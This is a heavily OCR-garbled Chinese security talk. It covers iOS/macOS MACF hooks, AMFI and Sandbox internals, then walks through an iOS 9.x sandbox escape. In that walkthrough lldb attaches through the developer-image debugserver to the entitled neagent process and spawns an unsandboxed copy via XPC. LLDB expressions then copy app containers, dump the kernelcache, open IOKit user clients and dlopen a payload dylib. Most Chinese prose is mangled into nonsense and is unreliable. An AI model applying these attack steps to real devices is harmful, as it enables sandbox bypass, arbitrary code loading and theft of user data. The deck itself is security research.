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e i0S/macOS FgJ MACF &7 TrustedBSD

« MACF BYtBK183Z : (New approaches to operating system
security extensibility)

« £ macOS v10.5 (xnu-1228) 5 MACF
« £i0S v2.0 (xnu-1228.6.76) [ 3 MACF

il
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+ 7Ei0S v1.0 (xnu-933.0.0.178) FRFERELR

85|\ MACF

- (BRELIINAITIRS , SARAIBHE R GRmE T

Function name

|z| _mac_check_ipc_method MOVS RO, #

|z| _mac_check_port_copy_send BX LR

.EI _mac_check_port_hold_receive ; End of function _mac_check ipc_method

,ﬂ _mac_check_port_hold_send
[¥] _mac_check_port_make_send
|z| _mac_check_port_move_receive
,ﬂ _mac_check_port_relabel

[¥] _mac_check_port_send

[#] _mac_check_service_access
[7] _mac_check_mount_getattr MOVS
[F] _mac_check_mount_setattr BX
|z| _mac_check_pipe_ioctl
[#] _mac_check_pipe_kgfilter
[7] _mac_check_pipe_read

- MU ERRICHRFALAEE] , Hook R5iE

RO, #
LR

; End of function mac_policy register

HEREI = Bz (BIR T

- MACF H9iBRREAIE : ${XNU-SRC}/security
e
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CERATHY B, TIPS TERM
» LA task for pid AfIKiREE MACF RIEARIE
IRET pid FIRENBIRHER task
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- 15 BiRHEHIRE
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« MACF XJ task for pid HHUEHX :

kern return t
task for pid(
struct task for pid args *args)
{
if (p->task != TASK NULL) ({

#1if CONFIG MACF
error = mac_proc check get task(kauth cred get(), p);
1f (error) {
error = KERN FATILURE;
goto tfpout;

#endif

sright = (void *) convert task to port (p->task);
tret = ipc port copyout send (
sright,
get task ipcspace (current task()));

}
error = KERN SUCCESS;
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» B ERICEBRER . FAIeTLAEER -
» MACF £ task_ for pid BIHTRIEHIEAN T —BILHE

» FTAIMNBAASVER mac_proc_check_get task BRER

e mac proc check get task ERERIERHZ :

— TR¥E task_for pid {ZERANSEMMLFIRT
— tban - IEBRHEESEESA task for pid XIMWAY Entitlements

» 305 mac_proc_check_get_task iR[E3E 0 &

» task_for_pid HUHITIRIESHFHT , IR[EIFEIR




I0S NEAZEHRIE (6)

« %8 MACF BY task for pid NIT{ERIE

Userspace Kernel

I I
I I
I 1: task_for_pid I

1.1: kernel return

.<_ ________________

b o =
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« FE MACF BY task for pid NIT{ERIE

Userspace Kernel MACF(Kernel)

I
|
1: task_for_pid I

|
I
I
|
|
I
1.1: mac_proc_check_get_task I

1.2: MACF return

,<_ _______________
1.3: kernel return
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MXFSM=ORNBERE MACF
MACF g9EE5I5R -
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MACF fJEOIFEEER , REWMINREL : i, BUE M
HIsERE NEHZEONERE
A CORRE

int mac policy register (
struct mac policy conf *mpc,
mac_policy handle t *handlep,
volid *xd) ;

S
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» OEMRONEEZSEE struct mac_policy_conf , IZEHEHEN

struct mac policy conf {

const char *mpc name;

const char *mpc_ fullname;

char const * const *mpc_ labelnames;
unsigned 1nt mpc labelname count;

struct mac policy ops *mpc _ops; /** operation vector */

int mpc loadtime flags;
int *mpc field off;

int mpc runtime flags;
mpc t mpc list;

void *mpc data;

}:
o XNMEHPEENNARSE ¢ struct mac policy ops,
* mac policy ops FREMBESGEAIEEENE , XBEERIIFAX TN
I
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+ struct mac policy ops B 335 MR

+ IRBREERE—EREGEET . TLUIEREARNERNEL
» B REBSENZPIBEARM BRI

+ Ll task for pid 9l

+ ERZPEARIREDS

manllere fisimemencekager task

o XJWZ mac policy ops FRIENIEERELS

SR D GaERCIEE e GIINGE g S K




struct mac policy ops {

mpo file check create t

mpo file check i1octl t

mpo file check mmap t
mpo_mount check mount t

mpo_ system check sysctlbyname t
mpo_ kext check query t

mpo 1okit check nvram get t
mpo 1okit check nvram set t
mpo 1okit check nvram delete t
mpo_proc check debug t

mpo proc check mprotect t
mpo_socket check accept t
mpo_vnode check exec t

mpo_vnode check ioctl t

I

7N
(ISC

I0S NEALZEHIE (12)

HFEERKRZ2 XS

*mpo file check create;

*mpo file check ioctl;

*mpo file check mmap;

*mpo _mount check mount;

*mpo system check sysctlbyname;
*mpo_ kext check query;
*mpo_iokit check nvram get;
*mpo_1okit check nvram set;
*mpo_iokit check nvram delete;
*mpo _proc check debug;

*mpo proc check mprotect;

*mpo socket check accept;

*mpo _vnode check exec;

*mpo_vnode check ioctl;
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LLUER—A policy RICUEATREEILIER task for pid ABISREBELEEANER
AT

MaE : i

1:EX. #¥l88ft mac_policy ops BTE

2 IREXIMAVSHRIERREY |

3: X, ¥Jigft mac policy conf BITFE y
4 : AR
RIS | MR R :

FA RS Im N B2 =R A
QNEREHMm M BREIR [BIFFO(E |
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- ETHE T MACF ZORYERE
+ FAIBET MACF AEBRILIERE

. ETEE policy ShE MRS HHAR R TR RIS
. HAVERE SRS
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S
( ISC

HEEKRZ2 XS

. S AR e

Userspace

Kernel

1: task_for_pid

1.3: kernel return

P

MACF(Kernel)

Handler

1.1: mac_proc_check_get_task

-

1.2: MACF return

I
I
I
I
I
I
|
1.1.1: find mpo_proc_check_get_task |
I
I

1.1.2: call handler

1.1.3: handler return

< ____________________
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- FAPZ|alEHA task for pid
« WIZZIA task for pid &=VEH

* task for pid &Y mac proc check get task

* mac proc check get task BYHTIIEE :
— BHTEEMEY Policy
— 1&ME Policy BY mpo proc check get task 2A4FIEO0
— YIRAE 0 , ARXIA AV N BREY
— NERZ Policy i EM 7 BE—1 14
- REF— S RERES
— MAF=ERY task for pid ASEAMSEN

. X MACF fONMBREIRER , 5 R 15~ AMFI & Sandbox
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- Apple Mobile File Integrity(AMFI)
- AMFI {3+ MACF

« AMFI Hi%%
« iOS g AM
. iOS Ffy AM

- Al , REW

j_

SR, el T AMFI #85cAE ?

I RS
I 5 macOS 51 AMFI fUhRAS+E[E

A

BN RRZANEY macOS ARy AMFI BA]

e YJF i0S-v9.3.5 , i¥[E macOS-v10.11.6 Sy

AppleMobileFileIntegrity.kext




0S FEAZ LIS (18 ) C;

HFEERKRZ2 XS

-  AMFI ;AR MACF 5 REL

__inte64 1initializeAppleMobileFileIntegrity( int64 al,  int64d a2) {
mac_ops.mpo cred check label update execve = cred check label update execve;
mac ops.mpo cred label associate = cred label associlate;
mac_ops.mpo cred label destroy = cred label destroy;
mac ops.mpo cred label init = cred label init;
mac_ ops.mpo cred label update execve = cred label update execve;
mac ops.mpo proc check inherit ipc ports = proc check inherit ipc ports;
mac_ops.mpo vnode check signature = vnode check signature;
mac _ops.mpo policy initbsd = policy initbsd;
mac ops.mpo file check mmap = file check mmap;

mac_policy.mpc name = 5

mac _policy.mpc fullname = ;

mac _policy.mpc labelnames = &labelnamespaces;
mac policy.mpc labelname count = 1;

mac policy.mpc ops = &mac ops;

mac_policy.mpc loadtime flags = 0;

mac _policy.mpc field off = &mac slot;

mac _policy.mpc runtime flags = 0;

if ( mac policy register(&mac policy, &amfiPolicyHandle, OLL) )
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- AMFI j9FERRER -
- RIEEZ
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» RSS2 Y0 T E b R EIALLEE
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— run-unsigned-code: true

e Y[ : debugserver
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« 7£i0S 8.0 AN , EERATF IR

o FEIGUEFRTFRHLECEEIEN ( dylib EN)

— FFRE&EEM dylib TEENTIRAFEFT
— TeamID-A &&H dylib T5iAENE TeamID-B ERZHFEFH

o FERSUFFRUN TN BRI ENAL IR

el Neblclelimmap

. B

’

(AN =l |

SUERIGISMER : BEBUWT Entitlement BYFEFR1EINE
dylib BS A2 EEIGIERISZ NN

— com.apple.private.skip-library-validation

= e

* Y0 : neagent
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o FIHFE Port 487K : proc check inherit ipc ports
+ ZEMRE spawn FIHIERTHIRA
- Port 7£ Mach H2IEEEEN

« KEPDEINFRBE(SENEEL Port

— ANEhHIEE]
- AP=ESAZZE
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» AILUS Port IE{IRVIERE SR
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proc_check_inherit_ipc_ports

Y

[PROC]
Code Sign

Yes No —

[PROC]
Entitlements

No

Yes

[PROC]
com.apple.rootless.”
om.apple.system-task-ports

No ——»

Yes

iq———— Yes

[Parent]

com.apple.system-task-port Yes S
No
[PROCI&[IMG] Yes >

Same Team ID

No

Y
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« Sandbox
« Sandbox [EfEqHkiERF MACF

I FIRBIERERIIT S, TEEHE

- EEXH

— REEA : BSD RFEEAR , Mach R&EJEH
— Mach API

— IRzptEiE
» Sandbox ENX TIEEZRISE (4N EREY
« i0S-v9.3.5-Sandbox & 121 PE={4NmMERZY
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hook cred check label update execve
hook cred check label update
hook cred label associate

hook cred label destroy

hook cred label update execve
hook cred label update

hook file check fcntl

hook file check mmap

hook file check set

hook mount check fsctl

hook mount check mount

hook mount check remount

hook mount check umount

hook policy init

hook policy initbsd

hook policy syscall

hook system check sysctlbyname
hook vnode check rename

hook kext check query

hook iokit check nvram get

hook iokit check nvram set

hook iokit check nvram delete

hook proc check expose task
hookiﬁrocégheck_gét_hosﬁispecial_port
hook proc check set host exception port
hook posixsem check create

hook posixsem check open

hook posixsem check post

hook posixsem check unlink

hook posixsem check wait

hook posixshm check create

hook posixshm check open

hook posixshm check stat

hook posixshm check truncate

hook posixshm check unlink

hook proc check debug

hook proc check fork

hook proc check get task name

hook proc check get task

hook proc check sched
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hook proc check setaudit
hook proc check setauid
hook proc check signal
hook socket check bind
hook socket check connect
hook socket check create
hook socket check listen
hook socket check receive
hook socket check send
hook system check acct
hook system check audit
hook system check auditctl
hook system check auditon
hook system check host priv
hook system check nfsd
hook system check reboot
hook system check settime
hook system check swapoff
hook system check swapon
hook sysvmsg check enqueue

hook sysvmsg check msgrcv
hook sysvmsqg check msgrmid
hook sysvmsg check msqgctl
hook sysvmsg check msqgget
hook sysvmsg check msqgrcv
hook sysvmsg check msgsnd
hook sysvsem check semctl
hook sysvsem check semget
hook sysvsem check semop
hook sysvshm check shmat
hook sysvshm check shmctl
hook sysvshm check shmdt
hook sysvshm check shmget
hook proc check get cs info
hook proc check set cs info
hook iokit check hid control
hook vnode check access

hook wvnode check chroot

hook vnode check create

hook vnode check deleteextattr
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hook vnode check exchangedata
hook vnode check exec

hook vnode check getattrlist
hook vnode check getextattr
hook vnode check ioctl

hook vnode check link

hook vnode check listextattr
hook vnode check open

hook vnode check readlink
hook vnode check revoke

hook vnode check setattrlist
hook vnode check setextattr
hook vnode check setflags
hook vnode check setmode
hook vnode check setowner
hook vnode check setutimes
hook vnode check stat

hook vnode check truncate
hook vnode check unlink

hook vnode notify create

hook vnode check uipc bind
hook vnode check uipc connect
hook proc check suspend resume
hook thread userret

hook iokit check set properties
hook system check chud

hook wvnode check searchfs

hook priv check

hook priv grant

hook vnode check fsgetpath
hook iokit check open

hook vnode notify rename

hook system check kas info
hook system check info

hook pty notify grant

hook pty notify close

hook kext check load

hook kext check unload

hook proc check proc info

hook iokit check filter properties
hook iokit check get property
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« —MH : WUEZSRIZHIE N RRZEY
H—AHHE : 81 HER S 2RI sEEAE
“EEGEK , FANEREIEES
» KAEERBIAICEAHEE R D EREERN LAATITHY
- 3EBF Sandbox.kext FEERL T HIAS |22 TinyScheme
- (FEREAKRAT N HIZEREDERS
» BT, AR EENX T ERRITUEIES
- H— AW TP ERKERE
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- WERE el EEEIc I CGaMSIoM eI COS

(version 1)

;7 prevent symbolication with 'no-callout' when a sandbox error occurs
(deny default (with no-callout))

(import "system.sb")

;; Allow files to be written/deleted, and attributes to be read
(allow file-write*

(regex #"~ (/private)?/var/db/diagnostics(/|S)")

(regex #"”~ (/private)?/var/db/uuidtext (/[$)")

(allow file-read*
(regex #"~(/private)?/var/db/diagnostics(/[$)")
(regex #"~/private/var/db/timezone(/|$)")

(allow file-issue-extension
(require-all
(extension-class "com.apple.logd.read-only")
(require-any
(subpath "/private/var/db/diagnostics")
(subpath "/private/var/db/uuidtext"))))

;; Allow writes to syslogd

(allow network-outbound
(remote unix-socket (path-literal "/private/var/run/syslog"))
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» 10S PRI ERIREMRRmIFE] 7 T HFISTU

My
+ PERE

W AIFE2K183L : Dionysus Blazakis, The Apple Sandbox

1/

» AJLAE

] Stefan Esser 1218 sandbox_toolkit /s 4miF

— https://github.com/sektioneins/sandbox toolkit

- sandbox_toolkit ATLUG —#HFIAY D 2 RESIAIRE a] L AYR
R
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HEEKRZ2 XS

« vpn-plugins : iokit-open

@sion "com.apple.security.exception.iokit-user—client—@

@ser—client—class ”AppleKeyStoreUser@

@user—client—class "AppIeMobileFileIntegrityUserCl@

deny (with report)
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« M AppStore FEHIN AR container P ERISAIR

- BITZERIEAIZIER -

— SN AR Ia)fE R

— PRBIN R LAVE BRI ER Stz
- FREIN AR LI ERVIRENEE
— PRI FERTLAVE ABRYIKz3

» PR(R T Rz IR SR AERI R BRI

s WTF—ERFRRSIER | EEINAASHALE

. BERIRS A LAVER sandbox init () EEHTSHADE

s B E TREBHNRRHBXMNMEOG XA
D
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« ENAT I0S NEALZ !
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* 1 REAIRMNE T AEF)
— (EERERT
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- EEBHRT

s XNRERET—MEE

+ MR—NDEZIMIHIER LA |
* BBARAIH AT LAED EIMSRSERNRBRIITY |

» [E9EIES ( debugserver ) EEUTMYR :

SaEin s REciie e odelsY t rué

» —PHIERSH LB,

- EERRATERSITFRIRIHIEREEI B Task
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- EAIFBIRYHATEIREY Task 2HYT Entitlement RTEHRY :

— get-task-allow: true

- TFREANMEAN R SRS DDI,

« SHEBXA Entitlement HIER

+ 1R==iz , F(17E DDI & T — @ neagent
« neagent & Network Agent F9EE

* neagent FERATFINZE; VPN 4 :

— Cisco AnyConnect
= e NAAEN

s erbnae s

— CitrixVPN

— PrivateTunnel
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* neagent PUNPRIOT :

<dict>

<key>com.apple.private.MobileGestalt.AllowedProtectedKeys</key>

<array>
<string>UniqueDeviceID</string>

</array>

<key>com.apple.private.neagent</key>

<true/>

<key>com.apple.private.necp.match</key>

<true/>

<key>com.apple.private.skip-library-validation</key>

<true/>

<key>get-task-allow</key>

<true/>

<key>keychain-access-groups</key>

<array>
<string>com.apple.identities</string>
<string>apple</string>
<string>com.apple.certificates</string>

</array>
</dict>



5 10S 9.x FHFPZSIEREIF (5 )

* neagent AR TEEAINE :

— com.apple.private.skip-library-validation

— get-task-allow

TEHAVE TE neagent FREFERBIUTIISE
$£—% | FRSRAMAIIRAY DDI :

— l1deviceimagemounter DDI.dmg DDI.dmg.signature

— 5y &{FH Xcode TR LIEZfT— 1N ER

1Ex DDI FIBRIBER -
— {FEFREAHH neagent
— FFREAHH debugserver , NMTATLAHI TV
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» fEiE%7 DDl jg , #(IFEZEF5] neagent

» 8822 : Bl neagent KWL

- {EAEA VPN IfgerIn A , Eval : AnyConnect
- BomE— N AREREXAIRS

- IXERATIEIFEFERATHE VPN II8ERIN FRIERAERIIARSS
— Cisco AnyConnect

Bk, F1H =8 VPN TheesI A |, AEERBERNKS
« EBE1T neagent ZfF , F—2HAI1EFEMERE LLDB =3

neagent iz
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B=% : IHE neagent BY PID
e AT 11db ¥R neagent k£, EEHNE neagent BY PID

« M Xcode /3] Instruments. app

Slmulator

&I < Simulator (Watch)
B AR Accessibility Inspector
B& 5 FileMerge

EBH Application Loader
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. SAfE , i%&#Z iDevice 5§ “Activity Monitor”

Choose a profiling template for| [l iPhone6p (9.0.2) ) All Processes

Standard Custom Recent

—e-
==

Blank Activity Monitor Allocations Cocoa Layout

Counters Energy Log File Activity Leaks
N VAN e v
=y .QI:IJIIJII
® i B iPhonebp (9.0.2) ) All Processes .
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1 ,469

o MIHFEFIZRF

neagent

mobile

03 El neagent , T ETERY PID

6.10 MB 701.02 MB arm64

m-m— 6.04MB| _698.61MB

EE

B . & 11db =3 neagent b

&£ macOS bizf7iEi IR .
— 1devicedebugserverproxy 11033
= . £ macOS =17 LLDB , FBfF0&) neagent L :

2R,

SR IE ISR S cissoRincectay /127.0.0. 1421033

S rrocesiEcleivachimEtse 7d - 1450
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HEEKRZ2 XS

O

e

28857 10S 9.x

[ |
CIL

£ 11db AIOMIINZRN neagentfmg , ENISEBRN MMEE:

process connect connect://127.0.0.1:11033

process attach --pid 1470
Process 1470 stopped
* thread #1: tid = 0x100fec, Ox000000018ddbcfd8 libsystem_kernel.dylib mach_msg_trap + 8
eason = signal SIGSTOP

frame #0: 0x0000000180dbcfd8 1ibsystem_kernel.dylib mach_msg_trap + 8

Libsystem_kernel.dylib mach_msg_trap:
-> 0@x180dbcfd8 <+8>: ret

libsystem_kernel.dylib mach_msg_overwrite_trap:
0x180@dbcfdc <+@>: movn  x16, #Ox1f
0x180dbcfed <+4>: svc #0x80
0x180@dbcfe4 <+8>: ret

Executable module set to|"/Developer/usr/libexec/neagent”.




XEBEEA JEEMRFRIEEE Developer Y neagent

MERAR  F

i AT

VAN

X lldb

(ILL]1

gE J’ilz_ﬁ'ﬁ% /
£, JANEZR

/8

NS

NEEFIT DAL IR

TEERBIT

iZReIRA , FTED— “hello world”

expr (void)NSLog(@"hello world from neagent");

1

X idevicesyslog

Mar 24 16:29:10 iPhone5s neagent[147@0] <Warning>: hello world from neagent
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- R

+ BABAIEERE TIESRIEHT

« (B2 neagent {HABGE

- S/INENEE : )
CHPESREE : von-plugins

o EIAXMPERIELL container EFRLL

s (BEEXMNPERIEAIZIET , neagent REEFIFHELRIIL

RZBRSS

* FRLARAIEBH T ER |,

TiIH—ZFTR%

77

==

/Is\

B

P ERAIFHY B RIE S
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HEEKRZ2 XS

o NTHREEZEE , EXT neagent {7 1HE]

P EBA] T HER
— neagent RSN HASHNLE
— HiEh XPC i53KAY , neagent SINEFEMNAVERG | AEHENDLE

void - [NEAgentSession handleInitCommand:id cmdParam] ({

pluginPath
pluginType

xpc _dictionary get string(cmdParam2, "plugin-path");
xpc _dictionary get string(cmdParam2, "plugin-type");

dispatch once (&dispatchToken, &PRTS_ EnterSandbox) ;

__inte64 PRTS EnterSandbox () {
result = sandbox init ("vpn-plugins", 1LL, &vl);

return result;

}



5 10S 9.x FFZ(EREIF (14 )

\
Xpt

- ERERIXEERE | BIEEZRIRYZEE SRTE

Time Window

« WIRFAITLAE neagent INHANDLERT
o JZEAIREEMIINZR neagent Lk, ISR 7L EWLE




S5 i0S 9.x FIFZSEIRAA (15) (g2

HEEKRZ2 XS

- PENEZ , Round 1

+ Bt , Bi8 11db FEFFHRIEREINZZMIN0 -

— process attach --waitfor --name neagent

= =) neagent

process connect connect://127.0.0.1:11033

process attach --waitfor --name neagent
Process 1490 stopped
* thread #1: tid = 0x104adce, 0x0000000182dbcfd8 libsystem_kernel.dylib mach_msg_trap
eason = signal SIGSTOP

frame #0: 0x0000000180dbcfd8 1ibsystem_kernel.dylib mach_msg_trap + 8

libsystem_kernel.dylib mach_msg_trap:
-> @x180dbcfd8 <+8>: ret

libsystem_kernel.dylib mach_msg_overwrite_trap:
0x180@dbcfdc <+@>: movn  x16, #Ox1f
0x180dbcfed <+4>: svc #0x80
0x18@dbcfed <+8>: ret

Executable module set to "/Developer/usr/libexec/neagent”.




S 10S 9.x BF=ZS(EIRGHR (16 )

TEAIHSASHTIEV SR , LIREEOXE
« BAIEAAILAFTINZ] neagent L

- BRREREHEE

« Round 1 : Fail




- PEntZ , Round 2

+ FAEETRSRIAPIRES
- BERETRIBHVT
- RREENREEOE AR R

o (I NFE—KINEHRR -

o WRF(TAILUEH] neagent BY&Eam/EHS |

» BBAFAIMA LMEREHN P ERIER 11db #THII0




J S ELISEIRHE iy

e |K

+ IBIERT

ItE | FRAT]E

S RE NEefeelEid xpe B9EZO/S0) neagent
e neagent WWHIIRSBFE : com.apple.private.neagent

* BT

1

vpn-plugins” XN ERIRHECER

-, BeAl1A&IN

— neagent KV ERRHIREHEIEEXERB SIRHAIRSS
- Elt, BAWRETIELIE ¢

- &MEXR

R A=|

I

TESREHRIT,

- BI{EEBRITEES |
— Ll neagent J98fk , 1813 XPC BEs—" neagent



S5 i0S 9.x FIFZSEIRAHA (19 ) (g2

HEEKRZ2 XS

» ZEEZRIRNREE , FNIBENAD T
e B3l 11db = 55 neagent = TAE PID > 11db IO
o« AEBIIERREIITEEIBBI— neagent :

process connect connect://127.0.0.1:11033
process attach --pid 225

expr id Sclient = (id)xpc connection create mach service ("com.apple.neagent", 0, 2);
expr id Shandler = (id) (“void(unsigned long response) { (unsigned int)sleep(60); 1});
expr (void)xpc connection set event handler ($Sclient, Shandler);

expr (void)xpc connection resume ($client);

expr id $dict = (id)xpc dictionary create(0, 0, 0)

expr (void *)xpc connection send message with reply sync($client, $dict);



SR 10S 9.x FAFZSEREiFR (20 ) (ise

HEEKRZ2 XS

+ WHUTHIIIEAT

expr id $client = (id)xpc_connection_create_mach_service("com.apple.neagent”, @, 2);
expr id $handler = (id)(Avoid(unsigned long response) { (unsigned int)sleep(6@); });
expr (void)xpc_connection_set_event_handler($client, $handler);

expr (void)xpc_connection_resume($client);

expr (void *)xpc_connection_send_message_with_reply_sync($client, (void *)xpc_dictionary_create(@, 0, 0));
(void *) $0 = 0x000000014cd3d2cd

» TR <E  HIEE—IREDERRY neagent

1,503 neagent mobile 0 3 6.15 MiB 701.02 MiB arm64
1,504 neagent mobile O 6 10.26 MiB 701.28 MiB arm64

1,513 debugserver mobile 2.29 MiB 670.73 MIiB arm64
1,514 Mm_ 1.12 MiB| 656.16 MiB[arm6a |




S 10S 9.x BFPZS(EIRGHR ( 21)

c EPFE, H 11db MEB— neagent LIRS
» PEN0RIFEA &= FESE0AY neagent £
« ZFb, BT : ERBERT+PERR

« Round 2 :; Success
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£ LLDB i EFIA (1)

- FERES : expression

« IfBE : Evaluate an expression on the current thread

« BARYH . AT LAEREIIE AR _E R HRATEA RIS
+ ETRRVASERETE LLDB Fap<e

- LLDB #E1TIgEIFE<E

+ BEERANmSHISHEERSDIE  help xxX




7£ LLDB HHEFIH (2) C;

HFEERKRZ2 XS

e expression HERAE

help expression

expression <expr>

-A ( —--show-all-children )

-D <count> ( —--depth <count> )

-F ( -——-flat )

-G <gdb-format> ( —--gdb-format <gdb-format> )
-IL. ( ——-location )

-0 ( —-—-object-description )

-g ( —--debug )

-1 <boolean> ( —--ignore-breakpoints <boolean> )
-] <boolean> ( --allow-jit <boolean> )

-1 <source-language> ( —--language <source-language> )
-p ( ——top-level )

-r ( ——repl )



£ LLDB i 5FIA ( 3)

LLDB gY JIT &

JIT I TIERAR

— LLDB &HiE—JL RW- IRF

— 14 expression JgiE. EEEEAXR)LAF

— AEBEREAFSEL R-X

— HREHERBIRXKIFEHIT expression X3RACAS

AFEA LU N ap Wiz JIT (A8

e MY Iexpr -g -j true -- (void)NSLog(@"hello")




7£ LLDB HhEFIHE (4) C;

HFEERKRZ2 XS

«  WERJIT K15

(prts) expr -g -j true -- (void)NSLog(@"hello™")

Process 1947 stopped

* thread #1, queue = 'com.apple.main-thread', stop reason = signal
2147483647

frame #0: 0x00000001017c4000
$ 11db expr3'$ 11db expr($ 11db arg=0x0000000000000000) at
expr3.cpp:42

39

40 wvoid

41 $ 1ldb expr(void *$ 1ldb arg)
-> 42 {

43 ;

44 /*LLDB_BODY START*/

45 (void)NSLog (@"hello") ;



£ LLDB HSFF (5) (58

HFEERKRZ2 XS

«  WERJIT K15

$ 1ldb expr3'$ 1ldb expr(void*):

-> 0x1017c4000 <+0>: sub sp, sp, #0x30 ; =0x30
0x1017c4004 <+4>: stp %20, %19, [sp, #0x10]
0x1017c4008 <+8>: stp %29, %30, [sp, #0x20]
0x1017c400c <+12>: add %29, sp, #0x20 ; =0x20
0x1017c4010 <+16>: adrp x1l, O
0x1017c4014 <+20>: 1dr x1, [x1, #0x88]
0x1017c4018 <+24>: mov x8, #0x100000000
0x1017c401lc <+28>: movk x8, #0x80b9, 1sl #16
0x1017c4020 <+32>: mov w3, #0x8000000
0x1017c4024 <+36>: mov x19, x0
0x1017c4028 <+40>: movk x8, #0x7e64
0x1017c402c <+44>: mov w2, #0x5
0x1017c4030 <+48>: movk w3, #0x100
0x1017c4034 <+52>: mov x0, xzr
0x1017c4038 <+56>: mov w4, wzr
0x1017c403c <+60>: Dblr x8 ; x8 = 27272
0x1017c4040 <+64>: mov x8, #0x100000000
0x1017c4044 <+68>: movk x8, #0x163, 1lsl #16
0x1017c4048 <+72>: mov x20, x0
0x1017c404c <+76>: movk x8, #0xcd60
0x1017c4050 <+80>: add x0, sp, #0x8 ; =0x8
0x1017c4054 <+84>: Dblr x8 ; x8 = 27272
0x1017c4058 <+88>: str x19, [sp, #0x8]
0x1017c405¢c <+92>: adrp x8, 0
0x1017c4060 <+96>: 1dr x8, [x8, #0x80]
0x1017c4064 <+100>: mov x0, x20
0x1017c4068 <+104>: blr x8 ; X8 = 2272
0x1017c406c <+108>: 1ldp %29, x30, [sp, #0x20]
0x1017c4070 <+112>: 1ldp x20, x19, [sp, #0x10]
0x1017c4074 <+116>: add sp, sp, #0x30 ; =0x30
0x1017c4078 <+120>: ret



7£ LLDB HEFIHE (6) C;

HFEERKRZ2 XS

«  WERJIT K15

(prts) b 0x1017c403c

(prts) register read x8 x8 = 0x0000000180b9%7e64
CoreFoundation CFStringCreateWithBytes

(prts) b 0x1017c4054

(prts) register read x8 x8 = 0x000000010163cde0
~$ 11db valid pointer check :: $ 11db valid pointer check(unsigned
char *) at Parse:36

(prts) b 0x1017c4068
(prts) register read x8 x8 = 0x00000001815b28e4 Foundation NSLog




£ LLDB i EFIA (7))

- TETHRT LLDB JIT AR TAERFRS
o FAIJBE T expression ipSHIBE

« EMZTE:
(prts) expr id $var = @"hello”
(prts) expr (void)NSLog($var)

. EUER
(prts) expr

Enter expressions, then terminate with an empty line to evaluate:
l: int a = 0;

2: if (a == 0) {

3 (void)NSLog (@"a == 0");
4. }

5: else {

6 (void)NSLog (@"a != 0");
7T }



f£ LLDB HhSFFI ( 8) (50

HEEKRZ2 XS

. 1B
(prts) expr
Enter expressions, then terminate with an empty line to evaluate:
l: int idx = 0;
2: while (idx++ < 2) {
3: (void)NSLog (@"hello") ;
4: }

(prts) expr

Enter expressions, then terminate with an empty line to evaluate:
l: for (int idx = 0; 1dx < 2; ++idx) {
2 < (void)NSLog (@"hello") ;
3: }

(prts) expr
Enter expressions, then terminate with an empty line to evaluate:
1:

7 e
3:
4



£ LLDB i 5FIA (9)

+ TOEENRREL

Vi

(prts) expr

Enter expressions, then terminate with an empty line to evaluate:

1l: void Func (void)

2: |

3: (void)NSLog (@"hello") ;
4: 1}

5: Func() ;

error: function definition is not allowed here

error: use of undeclared

identifier

'Func'

» ETHRTENINESEENDE
+ BN LBESREHIERABIITEED + D ERIEM

+ NE—LEAEIREIIAS

= M mEDE

LLDB 5%l

I



7 LLDB EF|HE (10) ise) (@

HEEKRZ2 XS

- FTJEPHFERT: /var/mobile/Library/Caches

expr id S$SdefaultManager = (id) [NSFileManager defaultManager]

expr id S$dirPath = @"/var/mobile/Library/Caches";

expr NSArray *$SdirContents = (NSArray *) [$defaultManager \
contentsOfDirectoryAtPath:$dirPath error:0];

po SdirContents

expr id $defaultManager = (id)[NSFileManager defaultManager]
expr id $dirPath = @"/var/mobile/Library/Caches";
expr NSArray *$dirContents = (NSArray *)[$defaultManager contentsOfDirectoryAtPath:$dirPath error:0];
po $dirContents

<__NSArrayM 0x12ce@2a60>(

ACMigrationLock,

AccountMigrationInProgress,

Checkpoint.plist,

CloudKit,

DateFormats.plist,

FamilyCircle,

GameKit,

GeoServices,

Maps,

PassKit,

SBShutdownCookie,

Snapshots,




7f LLDB hS#IF (11) (isc

HEEKRZ2 XS

el fELTALEE>

expr id S$SdefaultManager = (id) [NSFileManager defaultManager]

expr id Serror = 0

expr (int) [$defaultManager linkItemAtPath:@"/var/mobile/Containers"
toPath:@"/var/mobile/Media/ Containers" error:&Serror]

- U, ZaER

expr id S$SdefaultManager = (id) [NSFileManager defaultManager]

expr id Serror = 0

expr (int) [$defaultManager copyltemAtPath:@"/var/mobile/Containers/" \
toPath:@"/var/mobile/Media/ Containers" error:&Serror]

expr (int) [$defaultManager moveltemAtPath:@"/var/mobile/Containers/Data" \
toPath:@"/var/mobile/Media/ App-Data" error:0]




7f LLDB hS#IF (12) (isc

HEEKRZ2 XS

+ EEXG

expr id Sdata = (id) [NSData dataWithContentsOfFile:@"kernelcache"]
expr (int) [$Sdata writeToFile:@"/var/mobile/Media/kernelcache" atomically:0]

. FIHEIKE]

expr unsigned int Smaster port = 0;
expr (int)IOMasterPort (0, &S$master port);
p/x S$master port

expr id $srv_info = (id)IOServiceMatching ("IOHDIXController");
po $srv_info
expr unsigned int $srv = (unsigned int) IOServiceGetMatchingService (\

Smaster port, \
$srv_info);
p/x $srv
expr unsigned int $conn = 0;
expr (int)IOServiceOpen ($srv, (unsigned int)mach task self (), 0x2d, &Sconn);
p/x Sconn



7 LLDB hEF|FE (13 ) (ise

HEEKRZ2 XS

O

. FIHEXE)

expr unsigned int $master_port = 0;
expr (int)IOMasterPort(@, &$master_port);
(int) $0 = 0
p/x $master_port
(unsigned int) $master_port = 0x0000030f
expr id $srv_info = (id)IO0ServiceMatching("IOHDIXController™);
po $srv_info

I0OProvider(Class = IOHDIXController;

expr unsigned int $srv = (unsigned int)IOServiceGetMatchingService($master_port, $srv_info);
p/x $srv
(unsigned int) $srv = 0x00002007
expr unsigned int $conn = 0;
expr (int)I0ServiceOpen($srv, (unsigned int)mach_task_self(), 0x2d, &$conn);
(int) $1 =0
p/x $conn
(unsigned int) $conn = 0x00001fQ7



£ LLDB 1 5#FIA (14 )

SilrigE

expr (int)posix spawn (&$pid,
"/System/Library/PrivateFrameworks/Search.framework/searchd",
0, 0, 0, 0)7

- WTFEERRE , LAl RZESEY | £ LLDB RREMA
AT LARFIFRCIBEIEE] dylib =, PAIEINE. #HUUT

expr (void *)dlopen ("/Payload.dylib", 2)

- R
— expr AFEER "\ EEST
— FENRESER “\" RENTEREN
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